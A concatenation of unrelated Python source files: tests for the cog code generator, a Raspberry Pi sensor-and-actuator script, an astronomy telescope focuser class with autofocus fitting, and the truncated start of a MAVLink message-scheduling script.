//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
'cog3.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah.
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
'cog4.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah..
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
'cog5.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
This line was newly
generated by cog
blah blah.
extra
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
'cog6.txt': """\
//[[[cog
cog.outl("This line was newly")
cog.outl("generated by cog")
cog.outl("blah blah.")
//]]]
//[[[end]]] (checksum: a8540982e5ad6b95c9e9a184b26f4346)
""",
}
makeFiles(d)
with self.assertRaisesRegex(CogError,
r"^cog1.txt\(9\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog1.txt"])
with self.assertRaisesRegex(CogError,
r"^cog2.txt\(9\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog2.txt"])
with self.assertRaisesRegex(CogError,
r"^cog3.txt\(10\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog3.txt"])
with self.assertRaisesRegex(CogError,
r"^cog4.txt\(9\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog4.txt"])
with self.assertRaisesRegex(CogError,
r"^cog5.txt\(10\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog5.txt"])
with self.assertRaisesRegex(CogError,
r"^cog6.txt\(6\): Output has been edited! Delete old checksum to unprotect.$"):
self.cog.callableMain(['argv0', '-c', "cog6.txt"])
def testArgvIsntModified(self):
argv = ['argv0', '-v']
orig_argv = argv[:]
self.cog.callableMain(argv)
self.assertEqual(argv, orig_argv)
class CustomMarkerTests(TestCaseWithTempDir):
def testCustomerMarkers(self):
d = {
'test.cog': """\
//{{
cog.outl("void %s();" % "MyFunction")
//}}
//{{end}}
""",
'test.out': """\
//{{
cog.outl("void %s();" % "MyFunction")
//}}
void MyFunction();
//{{end}}
""",
}
makeFiles(d)
self.cog.callableMain([
'argv0', '-r',
'--markers={{ }} {{end}}',
'test.cog'
])
self.assertFilesSame('test.cog', 'test.out')
def testTrulyWackyMarkers(self):
# Make sure the markers are properly re-escaped.
d = {
'test.cog': """\
//**(
cog.outl("void %s();" % "MyFunction")
//**)
//**(end)**
""",
'test.out': """\
//**(
cog.outl("void %s();" % "MyFunction")
//**)
void MyFunction();
//**(end)**
""",
}
makeFiles(d)
self.cog.callableMain([
'argv0', '-r',
'--markers=**( **) **(end)**',
'test.cog'
])
self.assertFilesSame('test.cog', 'test.out')
def testChangeJustOneMarker(self):
d = {
'test.cog': """\
//**(
cog.outl("void %s();" % "MyFunction")
//]]]
//[[[end]]]
""",
'test.out': """\
//**(
cog.outl("void %s();" % "MyFunction")
//]]]
void MyFunction();
//[[[end]]]
""",
}
makeFiles(d)
self.cog.callableMain([
'argv0', '-r',
'--markers=**( ]]] [[[end]]]',
'test.cog'
])
self.assertFilesSame('test.cog', 'test.out')
class BlakeTests(TestCaseWithTempDir):
# Blake Winton's contributions.
def testDeleteCode(self):
# -o sets the output file.
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
fnames = ['DoSomething', 'DoAnotherThing', 'DoLastThing']
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
Some Sample Code Here
//[[[end]]]Data Data
And Some More
""",
'test.out': """\
// This is my C++ file.
void DoSomething();
void DoAnotherThing();
void DoLastThing();
And Some More
""",
}
makeFiles(d)
self.cog.callableMain(['argv0', '-d', '-o', 'test.cogged', 'test.cog'])
self.assertFilesSame('test.cogged', 'test.out')
def testDeleteCodeWithDashRFails(self):
d = {
'test.cog': """\
// This is my C++ file.
"""
}
makeFiles(d)
with self.assertRaisesRegex(CogUsageError, r"^Can't use -d with -r \(or you would delete all your source!\)$"):
self.cog.callableMain(['argv0', '-r', '-d', 'test.cog'])
def testSettingGlobals(self):
# Blake Winton contributed a way to set the globals that will be used in
# processFile().
d = {
'test.cog': """\
// This is my C++ file.
//[[[cog
for fn in fnames:
cog.outl("void %s();" % fn)
//]]]
Some Sample Code Here
//[[[end]]]""",
'test.out': """\
// This is my C++ file.
void DoBlake();
void DoWinton();
void DoContribution();
""",
}
makeFiles(d)
globals = {}
globals['fnames'] = ['DoBlake', 'DoWinton', 'DoContribution']
self.cog.options.bDeleteCode = True
self.cog.processFile('test.cog', 'test.cogged', globals=globals)
self.assertFilesSame('test.cogged', 'test.out')
class ErrorCallTests(TestCaseWithTempDir):
def testErrorCallHasNoTraceback(self):
# Test that cog.error() doesn't show a traceback.
d = {
'error.cog': """\
//[[[cog
cog.error("Something Bad!")
//]]]
//[[[end]]]
""",
}
makeFiles(d)
self.cog.main(['argv0', '-r', 'error.cog'])
output = self.output.getvalue()
self.assertEqual(output, "Cogging error.cog\nError: Something Bad!\n")
def testRealErrorHasTraceback(self):
# Test that a genuine error does show a traceback.
d = {
'error.cog': """\
//[[[cog
raise RuntimeError("Hey!")
//]]]
//[[[end]]]
""",
}
makeFiles(d)
self.cog.main(['argv0', '-r', 'error.cog'])
output = self.output.getvalue()
msg = 'Actual output:\n' + output
self.assertTrue(output.startswith("Cogging error.cog\nTraceback (most recent"), msg)
self.assertIn("RuntimeError: Hey!", output)
# Things not yet tested:
# - A bad -w command (currently fails silently).
|
sense_and_actuate.py
|
#!/usr/bin/env python3
from __future__ import print_function
import argparse
import json
import os.path
import pathlib2 as pathlib
import grovepi
import sys
import os
import time
import threading
import concurrent.futures
import socket
import http.client
# Import MQTT client modules
#import paho.mqtt.client as mqtt
# Import Plugwise modules for both stick and circle
from plugwise import Stick
from plugwise import Circle
# MAC ID for both the Circles
mac1 = "000D6F0004B1E1D6"
mac2 = "000D6F0003562BE1"
# Plugwise Stick port
#plugwise_stick = Stick(port="/dev/ttyUSB0")
# Binding each circle to the stick
#plugwise_Circle_1 = Circle(mac1, plugwise_stick) # for heater
#plugwise_Circle_2 = Circle(mac2, plugwise_stick) # lamp
# turning off the devices conected to circles by default
#plugwise_Circle_1.switch_off()
#plugwise_Circle_2.switch_off()
# Configure thingsboard host and Access_token
#THINGSBOARD_HOST = '141.58.216.26'
#ACCESS_TOKEN = 'DHT-48Data'
# Home Sensor Data captured and uploaded interval in seconds.
#INTERVAL=10
# Setting the Time Stamp for initial reading, later values are appended by INTERVAL
#next_reading = time.time()
# Initialize the MQTT client
#client = mqtt.Client()
# Set access token to which client connects
#client.username_pw_set(ACCESS_TOKEN)
# Connect to ThingsBoard using default MQTT port and 60 seconds keepalive interval
#client.connect(THINGSBOARD_HOST, 1883, 60)
# Start the communication loop
#client.loop_start()
# Sensor Pin configuration
# Analog Port Declaration for the Sensors
light_sensor_port = 0 # Grove Light Sensor on A0 Port
# Digital Port Declaration
digital_humidity_temperature_sensor_port = 7
ultra_sound_sensor_port = 3
indicator_led_1 = 4
indicator_led_2 = 3
# Setting the PinModes
grovepi.pinMode(light_sensor_port,"INPUT")
grovepi.pinMode(indicator_led_1,"OUTPUT")
grovepi.digitalWrite(indicator_led_1, 0)
grovepi.pinMode(indicator_led_2,"OUTPUT")
grovepi.digitalWrite(indicator_led_2, 0)
# Placeholders for all the sensors.
temperature_humidity_sensor_data = {'temperature': 0, 'humidity': 0, '':0,}
# Threshold for light sensor
threshold_light_sensor = 10
server_address = ("127.0.0.1", 6969)
initial_connection_message = "Hello Google !"
light_status = False
heater_status = False
''' Data Packet containing all the sensor information to be transmitted to
MQTT Server via client running on raspberry PI.
'''
def listen_assistant(socket_client_obj):
print(" ")
print("thread started......")
print(" ")
while True:
try:
global light_status
global heater_status
data_received, from_address = socket_client_obj.recvfrom(1024)
data_received = json.loads(data_received.decode())
light_status = data_received['light']
heater_status = data_received['heater']
print(" ")
print("light = " , str(light_status))
print("heater = ", str(heater_status))
print(" ")
except KeyboardInterrupt:
print("Keyboard Interrupted\n")
def sense_and_actuate(socket_client_obj):
# Continuous Sensing of Temperature and light sensors.
# global override_assitant
## Sensing Temperature and humidity
while True:
try:
global heater_status
global light_status
[temperature, humidity] = grovepi.dht(digital_humidity_temperature_sensor_port, 0)
print("Temperature = %.02f C, Humidity = %.02f %%" % (temperature, humidity))
temperature_humidity_sensor_data['temperature'] = temperature
temperature_humidity_sensor_data['humidity'] = humidity
# Sensing light threshold.
grovepi.pinMode(light_sensor_port, "INPUT")
light_sensor_value = grovepi.analogRead(0)
print("light sensor value = " + str(light_sensor_value))
if(light_sensor_value > 0):
resistance = (float)(1023 - light_sensor_value) * 10 / light_sensor_value
print("Resistance = " + str(resistance))
resistance = 0
'''if(assistant_sent_command == True):
data_received, from_address = socket_client_obj.recvfrom(1024)
data_received = json.loads(data_received.decode())
light_status = data_received("light")
heater_status = data_received("heater")
print(" ")
print("light = " + str(light_status))
print("heater = " + str(heater_status))
print(" ")
assistant_sent_command = False
'''
# Decision making and actuating.
if (temperature < 15 or heater_status == True):
print("cold inside, so turning heater on")
grovepi.digitalWrite(indicator_led_2, 1)
# plugwise_Circle_1.switch_on()
heater_status = True
elif(temperature > 15 or heater_status == False):
print("Hot inside, so turning heater off")
grovepi.digitalWrite(indicator_led_2, 0)
# plugwise_Circle_1.switch_off()
heater_status = False
if (resistance > threshold_light_sensor or light_status == True):
# plugwise_Circle_2.switch_on()
print("Dark light, so turned on Lamp")
grovepi.digitalWrite(indicator_led_1, 1) # temporary as of now, delete when we have plugwise.
light_status = True
elif (resistance < threshold_light_sensor or light_status == False):
# plugwise_Circle_2.switch_off()
print("Bright light, so turned off Lamp")
grovepi.digitalWrite(indicator_led_1, 0) # temporary as of now, delete when we have plugwise.
ligth_status = False
time.sleep(5)
# client.publish('v1/devices/me/telemetry', json.dumps(temperature_humidity_sensor_data), 1)
# next_reading += INTERVAL
# sleep_time = next_reading - time.time()
# if sleep_time > 0:
# time.sleep(sleep_time)
except KeyboardInterrupt:
print("Keyboard Interrupted\n")
socket_client_obj.close()
def main():
socket_client_obj = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
socket_client_obj.sendto(initial_connection_message.encode('utf-8'), ("127.0.0.1", 6969))
#sense_and_actuate(socket_client_obj)
listening_thread = threading.Thread(target=listen_assistant, args=(socket_client_obj,))
listening_thread.start()
sense_and_actuate(socket_client_obj)
if __name__ == '__main__':
main()
|
focuser.py
|
import os
from abc import ABCMeta
from abc import abstractmethod
from threading import Event
from threading import Thread
import numpy as np
from scipy.ndimage import binary_dilation
from astropy.modeling import models
from astropy.modeling import fitting
from panoptes.pocs.base import PanBase
from panoptes.utils.time import current_time
from panoptes.utils.images import focus as focus_utils
from panoptes.utils.images import mask_saturated
from panoptes.pocs.utils.plotting import make_autofocus_plot
class AbstractFocuser(PanBase, metaclass=ABCMeta):
"""Base class for all focusers.
Args:
name (str, optional): name of the focuser
model (str, optional): model of the focuser
port (str, optional): port the focuser is connected to, e.g. a device node
camera (pocs.camera.Camera, optional): camera that this focuser is associated with.
timeout (int, optional): time to wait for response from focuser.
initial_position (int, optional): if given the focuser will move to this position
following initialisation.
autofocus_range ((int, int) optional): Coarse & fine focus sweep range, in encoder units
autofocus_step ((int, int), optional): Coarse & fine focus sweep steps, in encoder units
autofocus_seconds (scalar, optional): Exposure time for focus exposures
autofocus_size (int, optional): Size of square central region of image to use, default
500 x 500 pixels.
autofocus_keep_files (bool, optional): If True will keep all images taken during focusing.
If False (default) will delete all except the first and last images from each focus run.
autofocus_take_dark (bool, optional): If True will attempt to take a dark frame before the
focus run, and use it for dark subtraction and hot pixel masking, default True.
autofocus_merit_function (str/callable, optional): Merit function to use as a focus metric,
default vollath_F4
autofocus_merit_function_kwargs (dict, optional): Dictionary of additional keyword arguments
for the merit function.
autofocus_mask_dilations (int, optional): Number of iterations of dilation to perform on the
saturated pixel mask (determine size of masked regions), default 10
autofocus_make_plots (bool, optional: Whether to write focus plots to images folder,
default False.
"""
def __init__(self,
name='Generic Focuser',
model='simulator',
port=None,
camera=None,
timeout=5,
initial_position=None,
autofocus_range=None,
autofocus_step=None,
autofocus_seconds=None,
autofocus_size=None,
autofocus_keep_files=None,
autofocus_take_dark=None,
autofocus_merit_function=None,
autofocus_merit_function_kwargs=None,
autofocus_mask_dilations=None,
autofocus_make_plots=False,
*args, **kwargs):
super().__init__(*args, **kwargs)
self.model = model
self.port = port
self.name = name
self._connected = False
self._serial_number = 'XXXXXX'
self.timeout = timeout
if initial_position is None:
self._position = None
else:
self._position = int(initial_position)
self._set_autofocus_parameters(autofocus_range,
autofocus_step,
autofocus_seconds,
autofocus_size,
autofocus_keep_files,
autofocus_take_dark,
autofocus_merit_function,
autofocus_merit_function_kwargs,
autofocus_mask_dilations,
autofocus_make_plots)
self._autofocus_error = None
self._camera = camera
self.logger.debug('Focuser created: {} on {}'.format(self.name, self.port))
##################################################################################################
# Properties
##################################################################################################
@property
def uid(self):
""" A serial number for the focuser """
return self._serial_number
@property
def is_connected(self):
""" Is the focuser available """
return self._connected
@property
def position(self):
""" Current encoder position of the focuser """
return self._position
@position.setter
def position(self, position):
""" Move focusser to new encoder position """
self.move_to(position)
@property
def camera(self):
"""
Reference to the Camera object that the Focuser is assigned to, if any. A Focuser
should only ever be assigned to one or zero Cameras!
"""
return self._camera
@camera.setter
def camera(self, camera):
if self._camera:
if self._camera != camera:
self.logger.warning(f"{self} already assigned to {self._camera}, "
f"skipping attempted assignment to {camera}!")
else:
self._camera = camera
@abstractmethod
def min_position(self):
""" Get position of close limit of focus travel, in encoder units """
raise NotImplementedError
@abstractmethod
def max_position(self):
""" Get position of far limit of focus travel, in encoder units """
raise NotImplementedError
@abstractmethod
def is_moving(self):
""" True if the focuser is currently moving. """
raise NotImplementedError
@property
def is_ready(self):
# A focuser is 'ready' if it is not currently moving.
return not self.is_moving
@property
def autofocus_error(self):
""" Error message from the most recent autofocus or None, if there was no error."""
return self._autofocus_error
##################################################################################################
# Methods
##################################################################################################
@abstractmethod
def move_to(self, position):
""" Move focuser to new encoder position.
Args:
position (int): new focuser position, in encoder units.
Returns:
int: focuser position following the move, in encoder units.
"""
raise NotImplementedError
def move_by(self, increment):
""" Move focuser by a given amount.
Args:
increment (int): distance to move the focuser, in encoder units.
Returns:
int: focuser position following the move, in encoder units.
"""
return self.move_to(self.position + increment)
def autofocus(self,
seconds=None,
focus_range=None,
focus_step=None,
cutout_size=None,
keep_files=None,
take_dark=None,
merit_function=None,
merit_function_kwargs=None,
mask_dilations=None,
coarse=False,
make_plots=None,
filter_name=None,
blocking=False):
"""
Focuses the camera using the specified merit function. Optionally performs
a coarse focus to find the approximate position of infinity focus, which
should be followed by a fine focus before observing.
Args:
seconds (scalar, optional): Exposure time for focus exposures, if not
specified will use value from config.
focus_range (2-tuple, optional): Coarse & fine focus sweep range, in
encoder units. Specify to override values from config.
focus_step (2-tuple, optional): Coarse & fine focus sweep steps, in
encoder units. Specify to override values from config.
cutout_size (int, optional): Size of square central region of image
to use, default 500 x 500 pixels.
keep_files (bool, optional): If True will keep all images taken
during focusing. If False (default) will delete all except the
first and last images from each focus run.
take_dark (bool, optional): If True will attempt to take a dark frame
before the focus run, and use it for dark subtraction and hot
pixel masking, default True.
merit_function (str/callable, optional): Merit function to use as a
focus metric, default vollath_F4.
merit_function_kwargs (dict, optional): Dictionary of additional
keyword arguments for the merit function.
mask_dilations (int, optional): Number of iterations of dilation to perform on the
saturated pixel mask (determine size of masked regions), default 10
coarse (bool, optional): Whether to perform a coarse focus, otherwise will perform
a fine focus. Default False.
make_plots (bool, optional): Whether to write focus plots to images folder. If not
given will fall back on value of `autofocus_make_plots` set on initialisation,
and if it wasn't set then will default to False.
filter_name (str, optional): The filter to use for focusing. If not provided, will use
last light position.
blocking (bool, optional): Whether to block until autofocus complete, default False.
Returns:
threading.Event: Event that will be set when autofocusing is complete
Raises:
ValueError: If invalid values are passed for any of the focus parameters.
"""
self.logger.debug('Starting autofocus')
assert self._camera.is_connected, self.logger.error(
"Camera must be connected for autofocus!")
assert self.is_connected, self.logger.error("Focuser must be connected for autofocus!")
if not focus_range:
if self.autofocus_range:
focus_range = self.autofocus_range
else:
raise ValueError(
"No focus_range specified, aborting autofocus of {}!".format(self._camera))
if not focus_step:
if self.autofocus_step:
focus_step = self.autofocus_step
else:
raise ValueError(
"No focus_step specified, aborting autofocus of {}!".format(self._camera))
if not seconds:
if self.autofocus_seconds:
seconds = self.autofocus_seconds
else:
raise ValueError(
"No focus exposure time specified, aborting autofocus of {}!", self._camera)
if not cutout_size:
if self.autofocus_size:
cutout_size = self.autofocus_size
else:
raise ValueError(
"No focus thumbnail size specified, aborting autofocus of {}!", self._camera)
if keep_files is None:
if self.autofocus_keep_files:
keep_files = True
else:
keep_files = False
if take_dark is None:
if self.autofocus_take_dark is not None:
take_dark = self.autofocus_take_dark
else:
take_dark = True
if not merit_function:
if self.autofocus_merit_function:
merit_function = self.autofocus_merit_function
else:
merit_function = 'vollath_F4'
if not merit_function_kwargs:
if self.autofocus_merit_function_kwargs:
merit_function_kwargs = self.autofocus_merit_function_kwargs
else:
merit_function_kwargs = {}
if mask_dilations is None:
if self.autofocus_mask_dilations is not None:
mask_dilations = self.autofocus_mask_dilations
else:
mask_dilations = 10
if make_plots is None:
make_plots = self.autofocus_make_plots
# Move filterwheel to the correct position
if self.camera is not None:
if self.camera.has_filterwheel:
if filter_name is None:
# NOTE: The camera will move the FW to the last light position automatically
self.logger.warning(f"Filter name not provided for autofocus on {self}. Using"
" last light position.")
else:
self.logger.info(f"Moving filterwheel to {filter_name} for autofocusing on"
f" {self}.")
self.camera.filterwheel.move_to(filter_name, blocking=True)
elif filter_name is None:
self.logger.warning(f"Filter {filter_name} requiested for autofocus but"
f" {self.camera} has no filterwheel.")
# Set up the focus parameters
focus_event = Event()
focus_params = {
'seconds': seconds,
'focus_range': focus_range,
'focus_step': focus_step,
'cutout_size': cutout_size,
'keep_files': keep_files,
'take_dark': take_dark,
'merit_function': merit_function,
'merit_function_kwargs': merit_function_kwargs,
'mask_dilations': mask_dilations,
'coarse': coarse,
'make_plots': make_plots,
'focus_event': focus_event,
}
focus_thread = Thread(target=self._autofocus, kwargs=focus_params)
focus_thread.start()
if blocking:
focus_event.wait()
return focus_event
def _autofocus(self,
seconds,
focus_range,
focus_step,
cutout_size,
keep_files,
take_dark,
merit_function,
merit_function_kwargs,
mask_dilations,
make_plots,
coarse,
focus_event,
*args,
**kwargs):
"""Private helper method for calling autofocus in a Thread.
See public `autofocus` for information about the parameters.
"""
focus_type = 'fine'
if coarse:
focus_type = 'coarse'
initial_focus = self.position
self.logger.debug(f"Beginning {focus_type} autofocus of {self._camera} - "
f"initial position: {initial_focus}")
# Set up paths for temporary focus files, and plots if requested.
image_dir = self.get_config('directories.images')
start_time = current_time(flatten=True)
file_path_root = os.path.join(image_dir, 'focus', self._camera.uid, start_time)
self._autofocus_error = None
dark_cutout = None
if take_dark:
dark_path = os.path.join(file_path_root, f'dark.{self._camera.file_extension}')
self.logger.debug(f'Taking dark frame {dark_path} on camera {self._camera}')
try:
dark_cutout = self._camera.get_cutout(seconds,
dark_path,
cutout_size,
keep_file=True,
dark=True)
# Mask 'saturated' with a low threshold to remove hot pixels
dark_cutout = mask_saturated(dark_cutout,
threshold=0.3,
bit_depth=self.camera.bit_depth)
except Exception as err:
self.logger.error(f"Error taking dark frame: {err!r}")
self._autofocus_error = repr(err)
focus_event.set()
raise err
# Take an image before focusing, grab a cutout from the centre and add it to the plot
initial_fn = f"{initial_focus}-{focus_type}-initial.{self._camera.file_extension}"
initial_path = os.path.join(file_path_root, initial_fn)
try:
initial_cutout = self._camera.get_cutout(seconds, initial_path, cutout_size,
keep_file=True)
initial_cutout = mask_saturated(initial_cutout, bit_depth=self.camera.bit_depth)
if dark_cutout is not None:
initial_cutout = initial_cutout.astype(np.int32) - dark_cutout
except Exception as err:
self.logger.error(f"Error taking initial image: {err!r}")
self._autofocus_error = repr(err)
focus_event.set()
raise err
# Set up encoder positions for autofocus sweep, truncating at focus travel
# limits if required.
if coarse:
focus_range = focus_range[1]
focus_step = focus_step[1]
else:
focus_range = focus_range[0]
focus_step = focus_step[0]
# Get focus steps.
focus_positions = np.arange(max(initial_focus - focus_range / 2, self.min_position),
min(initial_focus + focus_range / 2, self.max_position) + 1,
focus_step, dtype=int)
n_positions = len(focus_positions)
# Set up empty array holders
cutouts = np.zeros((n_positions, cutout_size, cutout_size), dtype=initial_cutout.dtype)
masks = np.empty((n_positions, cutout_size, cutout_size), dtype=bool)
metrics = np.empty(n_positions)
# Take and store an exposure for each focus position.
for i, position in enumerate(focus_positions):
# Move focus, updating focus_positions with actual encoder position after move.
focus_positions[i] = self.move_to(position)
focus_fn = f"{focus_positions[i]}-{i:02d}.{self._camera.file_extension}"
file_path = os.path.join(file_path_root, focus_fn)
# Take exposure.
try:
cutouts[i] = self._camera.get_cutout(seconds, file_path, cutout_size,
keep_file=keep_files)
except Exception as err:
self.logger.error(f"Error taking image {i + 1}: {err!r}")
self._autofocus_error = repr(err)
focus_event.set()
raise err
masks[i] = mask_saturated(cutouts[i], bit_depth=self.camera.bit_depth).mask
self.logger.debug(f'Making master mask with binary dilation for {self._camera}')
master_mask = masks.any(axis=0)
master_mask = binary_dilation(master_mask, iterations=mask_dilations)
# Apply the master mask and then get metrics for each frame.
for i, cutout in enumerate(cutouts):
self.logger.debug(f'Applying focus metric to cutout {i:02d}')
if dark_cutout is not None:
cutout = cutout.astype(np.float32) - dark_cutout
cutout = np.ma.array(cutout, mask=np.ma.mask_or(master_mask, np.ma.getmask(cutout)))
metrics[i] = focus_utils.focus_metric(cutout, merit_function, **merit_function_kwargs)
self.logger.debug(f'Focus metric for cutout {i:02d}: {metrics[i]}')
# Only fit a fine focus.
fitted = False
fitting_indices = [None, None]
# Find maximum metric values.
imax = metrics.argmax()
if imax == 0 or imax == (n_positions - 1):
# TODO: have this automatically switch to coarse focus mode if this happens
self.logger.warning(f"Best focus outside sweep range, stopping focus and using"
f" {focus_positions[imax]}")
best_focus = focus_positions[imax]
elif not coarse:
# Fit data around the maximum value to determine best focus position.
# Initialise models
shift = models.Shift(offset=-focus_positions[imax])
# Small initial coeffs with expected sign. Helps fitting start in the right direction.
poly = models.Polynomial1D(degree=4, c0=1, c1=0, c2=-1e-2, c3=0, c4=-1e-4,
fixed={'c0': True, 'c1': True, 'c3': True})
scale = models.Scale(factor=metrics[imax])
# https://docs.astropy.org/en/stable/modeling/compound-models.html?#model-composition
reparameterised_polynomial = shift | poly | scale
# Initialise fitter
fitter = fitting.LevMarLSQFitter()
# Select data range for fitting. Tries to use 2 points either side of max, if in range.
fitting_indices = (max(imax - 2, 0), min(imax + 2, n_positions - 1))
# Fit models to data
fit = fitter(reparameterised_polynomial,
focus_positions[fitting_indices[0]:fitting_indices[1] + 1],
metrics[fitting_indices[0]:fitting_indices[1] + 1])
# Get the encoder position of the best focus.
best_focus = np.abs(fit.offset_0)
fitted = True
# Guard against fitting failures, force best focus to stay within sweep range.
min_focus = focus_positions[0]
max_focus = focus_positions[-1]
if best_focus < min_focus:
self.logger.warning(f"Fitting failure: best focus {best_focus} below sweep limit"
f" {min_focus}")
best_focus = focus_positions[1]
if best_focus > max_focus:
self.logger.warning(f"Fitting failure: best focus {best_focus} above sweep limit"
f" {max_focus}")
best_focus = focus_positions[-2]
else:
# Coarse focus, just use max value.
best_focus = focus_positions[imax]
# Move the focuser to best focus position.
final_focus = self.move_to(best_focus)
# Get final cutout.
final_fn = f"{final_focus}-{focus_type}-final.{self._camera.file_extension}"
file_path = os.path.join(file_path_root, final_fn)
try:
final_cutout = self._camera.get_cutout(seconds, file_path, cutout_size,
keep_file=True)
final_cutout = mask_saturated(final_cutout, bit_depth=self.camera.bit_depth)
if dark_cutout is not None:
final_cutout = final_cutout.astype(np.int32) - dark_cutout
except Exception as err:
self.logger.error(f"Error taking final image: {err!r}")
self._autofocus_error = repr(err)
focus_event.set()
raise err
if make_plots:
line_fit = None
if fitted:
focus_range = np.arange(focus_positions[fitting_indices[0]],
focus_positions[fitting_indices[1]] + 1)
fit_line = fit(focus_range)
line_fit = [focus_range, fit_line]
plot_title = f'{self._camera} {focus_type} focus at {start_time}'
# Make the plots
plot_path = os.path.join(file_path_root, f'{focus_type}-focus.png')
plot_path = make_autofocus_plot(plot_path,
initial_cutout,
final_cutout,
initial_focus,
final_focus,
focus_positions,
metrics,
merit_function,
plot_title=plot_title,
line_fit=line_fit
)
self.logger.info(f"{focus_type.capitalize()} focus plot for {self._camera} written to "
f" {plot_path}")
self.logger.debug(f"Autofocus of {self._camera} complete - final focus"
f" position: {final_focus}")
if focus_event:
focus_event.set()
return initial_focus, final_focus
def _set_autofocus_parameters(self,
autofocus_range,
autofocus_step,
autofocus_seconds,
autofocus_size,
autofocus_keep_files,
autofocus_take_dark,
autofocus_merit_function,
autofocus_merit_function_kwargs,
autofocus_mask_dilations,
autofocus_make_plots):
# Moved to a separate private method to make it possible to override.
if autofocus_range:
self.autofocus_range = (int(autofocus_range[0]), int(autofocus_range[1]))
else:
self.autofocus_range = None
if autofocus_step:
self.autofocus_step = (int(autofocus_step[0]), int(autofocus_step[1]))
else:
self.autofocus_step = None
self.autofocus_seconds = autofocus_seconds
self.autofocus_size = autofocus_size
self.autofocus_keep_files = autofocus_keep_files
self.autofocus_take_dark = autofocus_take_dark
self.autofocus_merit_function = autofocus_merit_function
self.autofocus_merit_function_kwargs = autofocus_merit_function_kwargs
self.autofocus_mask_dilations = autofocus_mask_dilations
self.autofocus_make_plots = bool(autofocus_make_plots)
def _add_fits_keywords(self, header):
header.set('FOC-NAME', self.name, 'Focuser name')
header.set('FOC-MOD', self.model, 'Focuser model')
header.set('FOC-ID', self.uid, 'Focuser serial number')
header.set('FOC-POS', self.position, 'Focuser position')
return header
def __str__(self):
try:
s = "{} ({}) on {}".format(self.name, self.uid, self.port)
except Exception:
s = str(__class__)
return s
|
msg_hz_test.py
|
#!/usr/bin/env python3
# Set MAVLink protocol to 2.
import os
os.environ["MAVLINK20"] = "1"
import time
import threading
import traceback
import logging
from apscheduler.schedulers.background import BackgroundScheduler
from mycelium.components import RedisBridge, Connector
from mycelium_utils import Scripter, utils, DefaultConfig
from pymavlink import mavutil
class RedisToAPScripterExt:
instance = None
i=0
def __init__(self, **kwargs):
if not RedisToAPScripterExt.instance:
RedisToAPScripterExt.instance = RedisToAPScripterExt.__RedisToAPScripterExt(**kwargs)
def __getattr__(self, name):
return getattr(self.instance, name)
class __RedisToAPScripterExt(Scripter):
def __init__(self, **kwargs):
super().__init__(**kwargs)
self.rb = RedisBridge(db=self.rd_cfg.databases['instruments'])
self.keys = self.rd_cfg.generate_flat_keys('instruments')
self.conn = mavutil.mavlink_connection(
self.cfg.redis_to_ap,
autoreconnect = True,
source_system = 1,
source_component = 93,
baud=self.cfg.connection_baudrate,
force_connected=True
)
self.lock = threading.Lock()
default_msg_hz = 30.0
msg_hz = {
'send_vision_position_estimate': 30.0,
'send_obstacle_distance': 15.0
}
self.mavlink_thread = threading.Thread(target=self.mavlink_loop, args=[self.conn])
self.mavlink_thread.start()
self.sched = BackgroundScheduler()
logging.getLogger('apscheduler').setLevel(logging.ERROR)
self.data = {}
for k, v in self.keys.items():
try:
if v in msg_hz.keys():
seconds = 1.0/msg_hz[v]
else:
seconds = 1.0/default_msg_hz
func = getattr(self, v)
self.sched.add_job(self.send_message,
'interval',
seconds=seconds,
args=[func, k],
max_instances=1
)
except:
utils.progress(traceback)
else:
self.data[k] = None
# https://mavlink.io/en/messages/common.html#VISION_POSITION_ESTIMATE
def send_vision_position_estimate(self, current_time_us, x, y, z,
roll, pitch, yaw, covariance, reset_counter):
# self.connect(self.connection_string, self.connection_baudrate, self.source_system, self.source_component)
self.conn.mav.vision_position_estimate_send(
current_time_us, # us Timestamp (UNIX time or time since system boot)
x, # Local X position
y, # Local Y position
z, # Local Z position
roll, # Roll angle
pitch, # Pitch angle
yaw, # Yaw angle
covariance, # Row-major representation of pose 6x6 cross-covariance matrix
reset_counter # Estimate reset counter. Increment every time pose estimate jumps.
)
# def send_vision_position_delta_message(self, current_time_us, delta_time_us, delta_angle_rad, delta_position_m, current_confidence_level):
# conn.mav.vision_position_delta_send(
# current_time_us, # us: Timestamp (UNIX time or time since system boot)
# delta_time_us, # us: Time since last reported camera frame
# delta_angle_rad, # float[3] in radian: Defines a rotation vector in body frame that rotates the vehicle from the previous to the current orientation
# delta_position_m, # float[3] in m: Change in position from previous to current frame rotated into body frame (0=forward, 1=right, 2=down)
# current_confidence_level # Normalized confidence value from 0 to 100.
# )
# def send_vision_speed_estimate(self, current):
# self.conn.mav.vision_speed_estimate_send(
# current_time_us, # us Timestamp (UNIX time or time since system boot)
# V_aeroRef_aeroBody[0][3], # Global X speed
# V_aeroRef_aeroBody[1][3], # Global Y speed
# V_aeroRef_aeroBody[2][3], # Global Z speed
# covariance, # covariance
# reset_counter # Estimate reset counter. Increment every time pose estimate jumps.
# )
# https://mavlink.io/en/messages/common.html#OBSTACLE_DISTANCE
def send_obstacle_distance(self, current_time_us, sensor_type, distances, increment,
min_distance, max_distance, increment_f, angle_offset, mav_frame):
# self.connect(self.connection_string, self.connection_baudrate, self.source_system, self.source_component)
self.conn.mav.obstacle_distance_send(
